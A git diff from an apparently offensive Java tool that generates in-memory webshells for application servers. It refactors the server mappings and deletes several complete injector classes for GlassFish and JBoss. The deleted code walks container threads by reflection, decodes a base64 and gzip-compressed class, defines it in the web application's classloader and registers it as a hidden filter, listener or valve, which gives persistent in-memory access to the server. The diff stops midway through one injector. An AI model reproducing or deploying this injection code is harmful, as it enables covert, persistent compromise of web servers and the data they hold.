diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java index 17d37545..d000ec90 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -29,8 +29,8 @@ public enum Server { /** * JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 JBoss AS */ - JBossAS(new JbossShell()), - JBossEAP6(new JbossShell()), + JBossAS(new TomcatShell()), + JBossEAP6(new TomcatShell()), /** * Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的 * JBossEAP diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java index 8ca8a3ef..2c1a7494 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java @@ -1,13 +1,12 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector; -import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; -import net.bytebuddy.implementation.bytecode.assign.Assigner; import static com.reajason.javaweb.memshell.ShellType.*; @@ -42,10 +41,10 @@ public class GlassFishShell extends AbstractShell { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(LISTENER, GlassFishListenerInjector.class) - .addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class) - .addInjector(FILTER, GlassFishFilterInjector.class) - .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class) + .addInjector(LISTENER, TomcatListenerInjector.class) + .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class) + .addInjector(FILTER, TomcatFilterInjector.class) + .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class) .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java index 56e61425..628c7929 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; import static com.reajason.javaweb.memshell.ShellType.*; @@ -22,8 +22,8 @@ public class InforSuiteShell extends AbstractShell { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(LISTENER, GlassFishListenerInjector.class) - .addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class) + .addInjector(LISTENER, TomcatListenerInjector.class) + .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class) .addInjector(FILTER, InforSuiteFilterInjector.class) .addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class) .addInjector(VALVE, GlassFishValveInjector.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java deleted file mode 100644 index ef526805..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java +++ /dev/null @@ -1,32 +0,0 @@ -package com.reajason.javaweb.memshell.server; - -import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector; -import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector; -import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; - -import static com.reajason.javaweb.memshell.ShellType.*; - -/** - * @author ReaJason - * @since 2024/12/10 - */ -public class JbossShell extends AbstractShell { - - @Override - public Class getListenerInterceptor() { - return TomcatShell.ListenerInterceptor.class; - } - - @Override - public InjectorMapping getShellInjectorMapping() { - return InjectorMapping.builder() - .addInjector(LISTENER, JbossListenerInjector.class) - .addInjector(FILTER, JbossFilterInjector.class) - .addInjector(VALVE, JbossValveInjector.class) - .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) - .build(); - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java deleted file mode 100644 index 06a0ea2c..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ /dev/null @@ -1,200 +0,0 @@ -package com.reajason.javaweb.memshell.injector.glassfish; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.*; -import java.util.logging.Logger; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - */ -public class GlassFishFilterInjector { - Logger log = Logger.getLogger(GlassFishFilterInjector.class.getName()); - - static { - new GlassFishFilterInjector(); - } - - public GlassFishFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - - /** - * com.sun.enterprise.web.WebModule - * /usr/local/glassfish/modules/web-glue.jar - */ - public List getContext() throws Exception { - List contexts = new ArrayList(); - Set threads = Thread.getAllStackTraces().keySet(); - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); - } - } - } - return contexts; - } - - private ClassLoader getWebAppClassLoader(Object context) { - try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - Object loader = invokeMethod(context, "getLoader", null, null); - return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); - } - } - - @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); - try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); - } - } - - @SuppressWarnings("unchecked") - public void inject(Object context, Object filter) throws Exception { - String filterName = getClassName(); - if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - log.warning("filter already exists"); - return; - } - ClassLoader contextClassLoader = context.getClass().getClassLoader(); - Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); - invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); - invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); - invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); - invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); - invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - try { - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); - } - - Constructor[] constructors = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - constructors[0].setAccessible(true); - Object filterConfig = constructors[0].newInstance(context, filterDef); - HashMap filterConfigs = (HashMap) getFieldValue(context, "filterConfigs"); - filterConfigs.put(filterName, filterConfig); - log.info("filter added successfully"); - } - - @SuppressWarnings("all") - public static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPInputStream gzipInputStream = null; - try { - gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); - byte[] buffer = new byte[4096]; - int n; - while ((n = gzipInputStream.read(buffer)) > 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } finally { - if (gzipInputStream != null) { - gzipInputStream.close(); - } - out.close(); - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String fieldName) throws Exception { - Field field = getField(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } - - @SuppressWarnings("all") - public static Field getField(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); - } - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java deleted file mode 100644 index a4642686..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java +++ /dev/null @@ -1,175 +0,0 @@ -package com.reajason.javaweb.memshell.injector.glassfish; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.*; -import java.util.logging.Logger; -import java.util.zip.GZIPInputStream; - - -/** - * @author ReaJason - */ -public class GlassFishListenerInjector { - static { - new GlassFishListenerInjector(); - } - - Logger log = Logger.getLogger(GlassFishListenerInjector.class.getName()); - - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - - public GlassFishListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - public List getContext() throws Exception { - List contexts = new ArrayList(); - Set threads = Thread.getAllStackTraces().keySet(); - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); - } - } - } - return contexts; - } - - private ClassLoader getWebAppClassLoader(Object context) { - try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - Object loader = invokeMethod(context, "getLoader", null, null); - return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); - } - } - - @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); - try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); - } - } - - @SuppressWarnings("all") - public void inject(Object context, Object listener) throws Exception { - List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners", null, null); - for (EventListener eventListener : eventListeners) { - if (eventListener.getClass().getName().equals(getClassName())) { - log.warning("listener already exists"); - return; - } - } - eventListeners.add((EventListener) listener); - log.info("listener added successfully"); - } - - @SuppressWarnings("all") - public static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPInputStream gzipInputStream = null; - - try { - gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); - byte[] buffer = new byte[4096]; - int n; - while ((n = gzipInputStream.read(buffer)) > 0) { - out.write(buffer, 0, n); - } - } finally { - if (gzipInputStream != null) { - try { - gzipInputStream.close(); - } catch (IOException ignored) { - } - } - out.close(); - } - return out.toByteArray(); - } - - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { - for (Class clazz = obj.getClass(); - clazz != Object.class; - clazz = clazz.getSuperclass()) { - try { - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - return field.get(obj); - } catch (NoSuchFieldException ignored) { - - } - } - throw new NoSuchFieldException(name); - } - - @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); - } - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossFilterInjector.java deleted file mode 100644 index 6fff9ac6..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossFilterInjector.java +++ /dev/null @@ -1,191 +0,0 @@ -package com.reajason.javaweb.memshell.injector.jboss; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.*; -import java.util.zip.GZIPInputStream; - - -/** - * @author ReaJason - */ -public class JbossFilterInjector { - - static { - new JbossFilterInjector(); - } - - public JbossFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - /** - * org.apache.catalina.core.StandardContext - * /usr/local/jboss/server/default/deploy/jboss-web.deployer/jbossweb.jar - */ - public List getContext() throws Exception { - List contexts = new ArrayList(); - Set threads = Thread.getAllStackTraces().keySet(); - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); - } - } - } - return contexts; - } - - private ClassLoader getWebAppClassLoader(Object context) { - try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - Object loader = invokeMethod(context, "getLoader", null, null); - return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); - } - } - - @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); - try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); - } - } - - @SuppressWarnings("all") - public void inject(Object context, Object filter) throws Exception { - if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("filter already injected"); - return; - } - ClassLoader contextClassLoader = context.getClass().getClassLoader(); - Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); - invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); - invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()}); - invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); - invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); - invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - try { - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } - - Constructor[] constructors = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - constructors[0].setAccessible(true); - Object filterConfig = constructors[0].newInstance(context, filterDef); - Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); - filterConfigs.put(getClassName(), filterConfig); - System.out.println("filter injected successfully"); - } - - @SuppressWarnings("all") - public static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPInputStream gzipInputStream = null; - try { - gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); - byte[] buffer = new byte[4096]; - int n; - while ((n = gzipInputStream.read(buffer)) > 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } finally { - if (gzipInputStream != null) { - gzipInputStream.close(); - } - out.close(); - } - } - - @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); - } - } - - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - return field.get(obj); - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossListenerInjector.java deleted file mode 100644 index 1a411972..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossListenerInjector.java +++ /dev/null @@ -1,208 +0,0 @@ -package com.reajason.javaweb.memshell.injector.jboss; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.*; -import java.util.zip.GZIPInputStream; - - -/** - * @author ReaJason - */ -public class JbossListenerInjector { - - static { - new JbossListenerInjector(); - } - - public JbossListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - public List getContext() throws Exception { - List contexts = new ArrayList(); - Set threads = Thread.getAllStackTraces().keySet(); - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); - } - } - } - return contexts; - } - - private ClassLoader getWebAppClassLoader(Object context) { - try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - Object loader = invokeMethod(context, "getLoader", null, null); - return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); - } - } - - @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); - try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); - } - } - - @SuppressWarnings("all") - public void inject(Object context, Object listener) throws Exception { - if (this.isInjected(context)) { - return; - } - String filedName = "applicationEventListenersObjects"; - Object applicationEventListenersObjects = getFieldValue(context, filedName); - if (applicationEventListenersObjects == null) { - filedName = "applicationEventListenersInstances"; - applicationEventListenersObjects = getFieldValue(context, filedName); - } - if (applicationEventListenersObjects != null) { - Object[] appListeners = (Object[]) applicationEventListenersObjects; - if (appListeners != null) { - List appListenerList = new ArrayList(Arrays.asList(appListeners)); - appListenerList.add(listener); - setFieldValue(context, filedName, appListenerList.toArray()); - } - } else if (getFieldValue(context, "applicationEventListenersList") != null) { - List appListeners = (List) getFieldValue(context, "applicationEventListenersList"); - if (appListeners != null) { - appListeners.add(listener); - } - } - } - - @SuppressWarnings("all") - public boolean isInjected(Object context) throws Exception { - Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null); - List listeners = Arrays.asList(objects); - List arrayList = new ArrayList(listeners); - for (Object o : arrayList) { - if (o.getClass().getName().contains(getClassName())) { - return true; - } - } - return false; - } - - @SuppressWarnings("all") - public static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPInputStream gzipInputStream = null; - try { - gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); - byte[] buffer = new byte[4096]; - int n; - while ((n = gzipInputStream.read(buffer)) > 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } finally { - if (gzipInputStream != null) { - gzipInputStream.close(); - } - out.close(); - } - } - - @SuppressWarnings("all") - static Object getFieldValue(Object obj, String fieldName) throws Exception { - try { - Field field = getField(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } catch (Exception e) { - return null; - } - } - - @SuppressWarnings("all") - public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { - for (Class clazz = obj.getClass(); - clazz != Object.class; - clazz = clazz.getSuperclass()) { - try { - return clazz.getDeclaredField(name); - } catch (NoSuchFieldException ignored) { - - } - } - throw new NoSuchFieldException(name); - } - - public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { - Field field = getField(obj, fieldName); - field.setAccessible(true); - field.set(obj, value); - } - - @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); - } - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java deleted file mode 100644 index 9a609935..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java +++ /dev/null @@ -1,177 +0,0 @@ -package com.reajason.javaweb.memshell.injector.jboss; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.*; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - */ -public class JbossValveInjector { - - static { - new JbossValveInjector(); - } - - public JbossValveInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - public List getContext() throws Exception { - List contexts = new ArrayList(); - Set threads = Thread.getAllStackTraces().keySet(); - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); - } - } - } - return contexts; - } - - private ClassLoader getWebAppClassLoader(Object context) { - try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - Object loader = invokeMethod(context, "getLoader", null, null); - return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); - } - } - - @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); - try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); - } - } - - @SuppressWarnings("all") - public void inject(Object 